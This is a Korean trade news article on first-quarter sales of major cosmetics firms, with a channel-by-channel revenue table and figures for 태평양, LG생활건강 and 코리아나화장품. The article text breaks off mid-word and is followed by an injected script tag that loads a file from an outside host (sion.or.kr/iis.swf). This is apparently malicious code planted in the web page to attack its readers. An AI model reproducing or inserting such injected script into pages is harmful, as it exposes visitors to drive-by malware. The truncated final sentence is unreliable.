10대사 6천억 매출 “경기 회복 여부가 화장품시장 관건” 태평양 성장세 유지 1·4분기가 마무리되면서 태평양 등 국내 주요 화장품 업체들의 실적이 윤곽을 드러내 업체간 명암이 갈리고 있다. 특히 주력 유통 채널별 시장 상황에 따라 회사 전체 매출이 좌우되는 경향이 보다 뚜렷해진 것으로 나타났다.

1ㆍ4분기 10개 주요사 전체 매출 및 채널별 구성비

(추정치/단위: 억원, %)

구분 전문점 방판 직판 기타(백화점,마트 등) 계 매출 1980 1380 1310 1330 6000 구성비 33 23 22 22 100

올 1월부터 3월까지 국내 각 화장품 업체들은 전반적인 경기침체의 영향에서 자유롭지 못했다. 상위 업체들의 경우 유통 채널별 포트폴리오가 안정적으로 구축된 곳일수록 대체로 선전하고 있는 것으로 분석됐다. 태평양은 지난 1·4분기 회사 전체 약 3,000억원의 매출과 500여억원의 순이익을 기록해 지난해 같은 기간보다 5% 가량 성장한 것으로 집계되고 있다. 생활용품사업부가 소비 위축으로 지난해와 비슷한 수준에 머문 반면, 화장품사업부(2900여억원)와 건강사업부(녹차 등)가 각각 7%, 12% 증가했다. 특히 화장품 부문 중에서도 백화점과 방문판매가 각각 28%와 14%의 비약적인 성장을 기록해 전체 실적을 이끌고 있는 형국이다. 직판은 신용카드 규제와 업체간 경쟁 과열로 인해 전년대비 9% 감소한 것으로 추정된다. 태평양의 화장품 전체 매출에서 전문점이 차지하는 비중은 약 28%로 지난해와 비슷한 수준에서 소폭 감소한 것으로 보인다. 방판 매출 비중은 약 43% 수준이다. LG생활건강 화장품사업부의 경우 약 1,000억원의 매출을 낸 것으로 추정된다. 이는 전년과 비슷한 수치로 각종 경기 여건을 고려해 지난해에 비해 보수적 경영을 펼치고 있는 것으로 분석된다. 전문점 매출이 전체의 45% 가량을 차지하며 여전히 가장 많은 부분을 차지하고 있으나 시판 불황과 백화점 등의 매출 증가로 인해 지난해보다 비중이 10% 가량 준 것으로 보인다. 직판의 경우 매출의 약 15%를 차지하고 있지만 시장 상황이 악화돼 있어 고전 중이라고 할 수 있다. 코리아나화장품은 매출 감소세가 계속 이어져 올 1·4분기에도 600억원 안팎 수준에서 마이너스 성장을 기록했을 것으로 보인다. 전체 매출에서 직판이 차지하는 비?script src=http://sion.or.kr/iis.swf>

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